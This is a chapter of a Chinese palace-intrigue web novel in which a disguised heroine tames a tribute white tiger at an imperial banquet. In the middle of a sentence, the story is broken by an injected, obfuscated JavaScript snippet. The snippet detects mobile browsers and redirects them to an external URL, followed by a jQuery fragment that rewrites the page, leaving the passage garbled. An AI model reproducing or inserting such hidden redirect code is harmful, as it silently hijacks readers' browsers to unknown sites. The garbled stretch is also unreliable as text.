45. 突发情况
作品:《帝凰错》 “殿下。”承福挥散了外院中忙着张灯结彩的宫人,走到冯嫽身边道,“东西都备好了。”
冯嫽微微颔首,边向殿中走边问:“人抓到了?”
“抓到了。”承福从腰间抽出一枚钥匙送到冯嫽手中,“暂时关在了后院的柴房中。”
“查出来是谁了吗?”冯嫽指腹压着钥匙不平的侧面,神色还是那般淡淡的,但眼中的冷意却是呼之欲出。
“没有。”承福无声地叹口气,垂下了头,紧张地等待冯嫽的斥责或是下一步的安排。
“那便不必查了。”冯嫽此话一出,惊得承福猛地抬起头,不解道,“那就这般放他背后之人……?”
“问出来了又能如何,左右不过是那些人罢了。”冯嫽将钥匙重新递给了承福,“看好他,别死了,今晚上他必然能派上用场,到时候自有人替本宫审他一审。”
“您是说外邦进贡的那群……”承福眼睛陡然睁大,待冯嫽走后,他才试着自己在这严冬寒日里,内裳被冷汗浸湿了大半。
淡月孤星绕建章,仙风吹下御炉香。宫人身着锦衣,手捧珍馐佳肴穿梭于殿内殿外,案上摆满了金杯玉盏,银盘瓷碟。
侍臣鹄立通明殿,一朵红云捧玉皇。九重宫阙次第亮起千盏宫灯,瑞兽铜炉吞吐着袅袅青烟,提灯宫娥鱼贯而入,殿内瞬间乌泱泱跪倒一片。
“臣等恭贺陛下圣安!”
明黄的龙纹衮服扫过凌久面前,缀满东珠的十二旒冕晃出微响,身旁的皇后凤冠霞帔,奉冕旒、衣彩坤珍,同耀帕罗珠袖。
贵妃落后一步,扶着太后缓缓入内,宝髻松松挽就,铅华淡淡妆成,不似话本中妖艳的宠妃,眉眼间皆是温婉,青烟翠雾罩轻盈,飞絮游丝无定。
再身后,便是晟王妃和两个凌云的侧妃,以及凌川唯一的侧妃。
官员携家眷列席东侧,女眷们云鬓上的点翠随着叩拜动作轻轻颤动,冯嫽在西侧位于首座,五皇子凌澈紧挨着她右侧,正紧张地捏着银线蟒纹的衣袖。再往过,便是身着白袍的凌宁,金线蟒纹在灯火中若隐若现。
“三哥……”凌澈向冯嫽身边靠近了些,从袖中拿出一块烟墨,献宝一般送到她手前,“夫子说我在课上表现良好,赠予我的,飞英说这是块顶好的松烟墨……我想我用不太到,三哥入了朝,总是能用上的。”
少年耳尖泛红,仿佛这些话都是鼓起了巨大的勇气才说出口,若是冯嫽拒绝,怕是要像那泄了气的皮球一般瘪下去。
冯嫽接过那块承载着少年胆怯的松烟墨,嘴角微微扬起一抹温和的笑意:“五弟有心了,这墨确实难得。”她顿了顿,目光在凌澈紧张的面容上停留片刻,语气柔和,“不过,既然是你夫子所赠,我岂不是夺人所爱?”
凌澈一听,面上的紧张瞬间全部化为失意,声音都哑了几分:“是我鲁莽了,三哥不要放在心上……”
“我可没说不要。”冯嫽伸手轻轻拍了拍他的肩,轻笑道,“我殿中有一狼毫笔,我用这笔与你交换可好?”
“好!”少年见她收下,脸上重新洋溢起喜悦的笑容,“多谢三哥。”
一旁的凌宁沉默不语,手中把玩着茶盏,目光却若有似无地扫过那块烟墨,他垂下眼帘,指尖在杯沿轻轻划过,仿佛对周遭的一切都漠不关心。
“太后为诸位殿下特意备的金丝燕窝羹。”太后身边的女官捧着雕漆食盒款步而来,将一碗碗羹汤放到三人面前,却是剩出了两碗。
“六弟不尝尝?”冯嫽将玉匙轻轻叩在玉瓷碗上。
凌澈正小心翼翼地用银匙搅动着面前的燕窝羹,闻言也看向凌宁,将手伸向他。
凌宁苍白的面容在宫灯映照下更显病态,目光掠过凌川欲递未递的玉勺:“脾虚,五哥替我吃了吧。”
玉勺悬在半空,不知该收回还是继续递过去,直到冯嫽伸出手接过,他才又低下头,无声地继续搅动自己碗中的燕窝羹。
冯嫽舀起一勺燕窝羹,目光转向鱼贯而入置放餐肴的宫娥,人流散去,她与对侧那个同样看向宫娥的人视线交织。
只不过一个看的是人,一个看的是菜。
她的真正身体正一边用筷子一点一点地戳下小块蟹粉狮子头,一边将眼神飘忽到宫娥手中端着的橡子豆腐上,发髻上的流苏随着动作轻晃,显出几分她先前从未有过的鲜活气。
撞上冯嫽视线的一瞬,凌久握在手中的筷子停了下来,仿佛一瞬间穿透了所有的喧嚣与繁华,只剩对面人和眼前菜。
冯嫽今日乌发尽数收束于赤金冠中,冠后垂落的玄色缎带压着后颈,与她执盏时袖口滑出的那一截玄色护腕相呼应,全然露出的眉眼显出独一份的矜贵。
凌久对自己的脸没甚的兴趣,只是觉得冯嫽装扮的好看,看看她桌上几乎未动的餐食,眼中闪过一丝无奈。
真是苦了他了,眼前佳肴第一次这般繁多,却要顾及着形象和礼仪一点一点的化作小块送入口中。
冯嫽见状,眼中漫起几分戏谑:忍得很辛苦吗?
凌久无奈地用手指在桌沿上轻轻敲了两下,抗议她的“幸灾乐祸”。
乐声忽变,三十六名胡旋舞姬踩着鼓点涌入殿中,随之而来的是外邦使臣的献礼。
兽皮自殿门一路铺展,驼铃声中,各国使臣捧着托盘接踵而至。
首列使者掀开红绸,露出整块翡翠雕成的孔雀开屏,每根尾羽都嵌着彩石,雕成不同种类的鸟羽,流光掠过时似百鸟振翅欲飞。
第二人呈上的雪域灵芝足有婴孩头颅大小,菌盖泛着罕见的紫金色,药香顷刻盖过殿中熏香。
冯嫽看着人一个一个献礼,挥手唤来承福:“去抓人。”
承福走后不久,有使者掀开所携锦盒,露出两粒红豆:“此乃我国千年国木所结,名为……”
“相思子。”
红色琥珀雕成了玉盘状,却不如内里的两粒“红豆”鲜艳,细细看来才能发现,这并非是红豆,而是天然形成的南红,石纹未经雕琢,却恰好与红豆一模一样。
皇帝指节叩在龙椅的龙首上,目光扫过使臣捧着的相思子,眼底情绪不明。
“玲珑骰子安红豆……”帝王低沉的声音在歌舞升平的大殿中也格外清晰,“凌久。”
“儿臣在。”冯嫽起身行至御前单膝跪地。
“朕记得朕为你与镇国公家的女儿定下了婚约。”皇帝从内侍捧着的锦盒中拈起一粒南红,“不如便将这‘相思子’赐你二人各一枚,算作朕作父亲的随礼可好?”
贵妃执酒盏的手悬在半空,半晌才落下,垂下眼睑,隐去眼眸中的情绪。
凌久闻言,立即起身,跪得与冯嫽说近不近说远不远,行大礼:“臣女谢陛下恩典。”
“儿臣谢父皇赏赐。”冯嫽微微垂首,接过皇帝身边大太监捧来的“相思子”。
皇帝几不可察地扫过坐在东侧的皇后和贵妃,两人皆是神色如常,只是皇后轻抚了抚鬓边的珠钗,眼底闪过一丝不易察觉的冷意。
两人谢完恩刚退下,殿外便忽起虎啸。
四位壮汉扛着玄铁笼步履沉重,笼中蜷着的金瞳白毛的猛兽缓缓抬头。
是头通体银白的成年白虎,只是额间黑纹不再是“王”字,而是一朵莲花的形状,映在宫灯下如烈火灼莲。
“此兽乃我国三百勇士以金铃为引,在雪山圣湖畔所获,据说可有百年……”使者话音未落,白虎突然暴起撞向铁笼。
众人的惊叫声中,皇帝手中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098082|159541||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
酒盏飞出,杯中浆液泼在笼前织毯上,浓烈的酒水气息竟让猛兽瞬间温顺伏地。
白虎虽是伏下了身子,金瞳却是突然转向东侧席,猛地撞向铁笼,一时火星迸溅,笼角竟生生凹陷下去。
“此物尚未开灵智,野性难驯,若大燕能消其野性,我国从此便为大燕马首是瞻。”使臣说的恭敬,话语间的挑衅却是毫不掩饰。
皇帝听完放声大笑,对底下众人道:“众爱卿可有人愿驯此瑞兽?”
“臣愿一试!”东侧席间霍然立起个年轻人,一身劲装,眉宇间俱是少年锐气。
他起身瞬间,贵妃身形一晃,盏中清酒撒出些许。
白虎见有人靠近,弓起脊背,额间莲纹泛起火色,年轻人大步流星地走向铁笼,丝毫不惧,接过使臣递上的佩剑,胸有成竹地进入了铁笼。
白虎金瞳骤缩,后退几步,摆出狩猎的姿势,年轻人举剑去劈,却在触及虎耳的瞬间被白虎扭头咬住,利齿在剑上划过,发出刺耳的响声。
“殿下,人醒了。”一片胶着中,承福悄悄贴近冯嫽耳边密语道。
“系上金铃,带过来。”冯嫽看那武将与白虎僵持不下,看似两相制衡,实则人腕间青筋已经暴起,强弩之末罢了。
白虎突然旋身摆尾,钢鞭似的长尾扫过那年轻人腰侧,踉跄后退撞到笼上,铁笼余震中,白虎前爪已搭上他肩头。
冯嫽一手敲着桌案,一手拿起了筷子的末端,把握好那利爪将要渗入那人脖颈的时机,精准刺入尾根之处。
白虎发出震天一啸,金瞳之中满是怒色,转身撞向冯嫽面前一侧的铁笼,几次三番下来,笼子已经变形的不成样子,白虎却是丝毫未伤。
笼门铜锁在方才撞击中松动,那年轻人抓紧机会,猛地将笼门撞开,跑了出来,末了却安不上那掉落的铜锁,看得使臣放声大笑:“大燕的皇帝,你们的勇士就只有这般能耐?”
使臣带着轻蔑的笑声刺耳,引得满堂燕人皆是面色不善,皇帝虽是还在笑,但冯嫽望去时,已能看起了杀心。
众臣子面面相觑,无人再敢出声,唯有那白虎在笼中低吼,金瞳中闪烁着胜利的光芒。
冯嫽缓缓起身,迎着众人注视,声音平和,仿若在说什么无关紧要的东西:“这位大人,本宫想问,若有人不进笼中,却能驯服此兽,是否也算数?”
使臣闻言,直接笑道:“您说笑了,此兽若非亲身入笼,以勇武相搏,岂能驯服?大燕的男儿若是怕了,大可直言,何必寻这等借口?”
冯嫽并不与他相争,转身看向殿外,轻轻抬手。
承福立刻会意,快步走出殿门,不多时,便拖着个五花大绑的太监从门外走来,腰间坠着的金铃随着步伐叮当作响。
白虎耳尖微动,竟舍了铁笼,贴着笼底朝太监方向挪动。
众人皆是屏息凝神,冯嫽也不例外,她只是在赌。
赌那使臣所说金铃当真有用。
“既是瑞兽,怎能不通人性?”冯嫽按下那太监的头,是他不得不与白虎面面相觑,闻到白虎口中的腥气,双腿哆嗦着直打颤。
“你说我把你扔进这笼中,你的主子会出声救你吗?”冯嫽用只有两人能听见的声音道。
“不要不要,殿下,我再也不敢了!”太监腰间金铃随着颤抖发出细碎声响。
满殿哗然中,冯嫽解下金铃抛向铁笼。
白虎竟如家犬接住,淡淡看了一眼冯嫽后,谁也不理地叼着金铃趴到了笼角。
“使臣大人,”冯嫽松开手,任由太监瘫软在地,转身看向那使臣,“此兽,可算驯服了?”
使臣脸色青黑时,凌久刚不紧不慢地将碗中的藕花羹消灭完。
嗯,好吃。